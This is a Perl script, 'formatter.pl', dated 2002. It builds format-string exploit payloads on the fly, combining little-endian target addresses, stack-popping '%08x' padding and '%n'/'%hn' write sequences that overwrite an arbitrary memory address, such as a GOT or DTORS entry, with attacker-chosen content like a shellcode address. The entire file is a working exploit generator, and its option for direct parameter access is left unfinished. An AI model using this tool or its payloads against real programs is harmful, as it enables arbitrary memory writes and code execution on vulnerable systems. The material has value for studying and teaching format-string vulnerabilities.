#!/usr/bin/perl # # @2002mei@websec.org "formatter.pl" # # creates format-exploit strings on the fly # # Possible Options: # # -p [1-7] # for padding # -s -d # for short write and direct parameter access (todo) # -o [offset] # offset before we hit our own string on the stack # -a [addres] # address we want to overwrite 80456ae for example # -c [content] # usually an address got/dtors/shellcode etc ect. # -h # prints out help-screen # # ToDo: # # direct-param access with and without shortwrite ! # ##################################################################### use strict; use vars qw($opt_s $opt_d $opt_p $opt_o $opt_a $opt_c $opt_h); use Getopt::Std; # get options # getopts("p:o:a:c:d:hs"); # vardecs # my $offset = $opt_o || 0; my $address = $opt_a || "ffffffff"; my $content = $opt_c || "41414141"; my $padding = $opt_p || 0; my $startparam = $opt_d || -1; # dummy address # for 4 x dummy-address/write-address pairs # my $ad = "AAAA"; # the output strings itselve my $buffer_addr_pairs = ""; my $buffer_cont = ""; my $buffer_padding = ""; my $buffer_stackpop = ""; # chars written to buffer so far my $written = 0; my $swritten = 0; my $num = 0; my ($haddress,$a1,$a2); my ($deca1,$deca2,$number1,$number2); # check format out # kinda input validation :-) # todo: do real input validation $address = hex($address); $content = sprintf("%08x", hex($content)); $a1 = substr($content,0,4); $a2 = substr($content,4,4); $offset = sprintf("%d",$offset); $padding = sprintf("%d",$padding); # usage ? if ($opt_h || $address == 0xffffffff || $padding > 7) { print("usage: $0 -o \n\t-a \n\t-c \n\t[-p \n\t-s=shortwrite [-d =direct parameter access]]\n"); exit(0); } # if no method given use the "long" version # (short integer and number of argument) # will be implemented in the near future # padding ? if($padding > 0) { $buffer_padding = "P"x$padding; $written += $padding; } # now for the dummy-address pairs # we got an address which is in $write_to_address # we do 4 misangled writes to our arbitrary address # length of address is 4 # "short-write" method if ($opt_s) { # of courese the larger number # has to be written first :-) if ($a1 < $a2) { $buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address+2)).$ad.getaddress(sprintf("%08x",$address)); $written += 16; } elsif ($a1 == $a2) { $buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address+2)).getaddress(sprintf("%08x",$address)); $written += 12; } else { $buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address)).$ad.getaddress(sprintf("%08x",$address+2)); $written += 16; } } elsif($startparam > -1) ###### direct param access { } else ###### "normal" write method { for (my $c=0;$c<=3;$c++) { $buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address+$c)); } # (4+4) * 4 = 32 $written += 32; } # now the offset if ($offset < 8) { $buffer_padding .= "P"x$offset; $written += $offset; } else { $buffer_padding .= "P"x($offset % 8); $written += ($offset % 8); $offset = ($offset - ($offset % 8)) / 8; $buffer_stackpop = "%08x"x$offset; $written = $written + ($offset * 8); } ### the content ### or what do we wanna write to address ### shortwrite = 2 times ### larger number must be written first! if ($opt_s) { if (($a1 < $a2) || ($a1 == $a2)) { $deca1 = hex($a1); $deca2 = hex($a2); } else { $deca1 = hex($a2); $deca2 = hex($a1); } $number1 = $deca1-$written; $number2 = $deca2-$deca1; $buffer_cont .= "%.".$number1."u%hn"; $written += $number1; if ($a1 == $a2) { $buffer_cont .= "%hn"; $written += $number2; } else { $buffer_cont .= "%.".$number2."u%hn"; $written += $number2; } } else ####### "normal std write = 4 times" { for(my $i=6;$i>=0;$i-=2) { $num = calc($written,substr($content,$i,2)); $buffer_cont .= "%.".$num."u%n"; $written += $num; } } # output print $buffer_padding,$buffer_addr_pairs,$buffer_stackpop,$buffer_cont; ############################################### ### calc calculates hexnumber for least s. byte ### and returns dec-value for a given number ### of written bytes and hexvalue sub calc() { my $written = shift; my $byte = "0x".shift; my $erg = 0; if ((($byte+0x100)-($written % 0x100) % 0x100) < 10) { $erg = ((($byte+0x100)-($written % 0x100) % 0x100)+0x100)+0; } else { $erg = (($byte+0x100)-($written % 0x100) % 0x100)+0; } ## we return a decimal ## because of output format string "unsigned int" return $erg; } ################################################ ### getaddress ### returns little-endian ugly-char-style address for ### our output sub getaddress() { my $address = shift; my $ret; $address =~ s/^0x//; $ret = chr(hex(substr($address,6,2))); $ret .= chr(hex(substr($address,4,2))); $ret .= chr(hex(substr($address,2,2))); $ret .= chr(hex(substr($address,0,2))); return $ret; }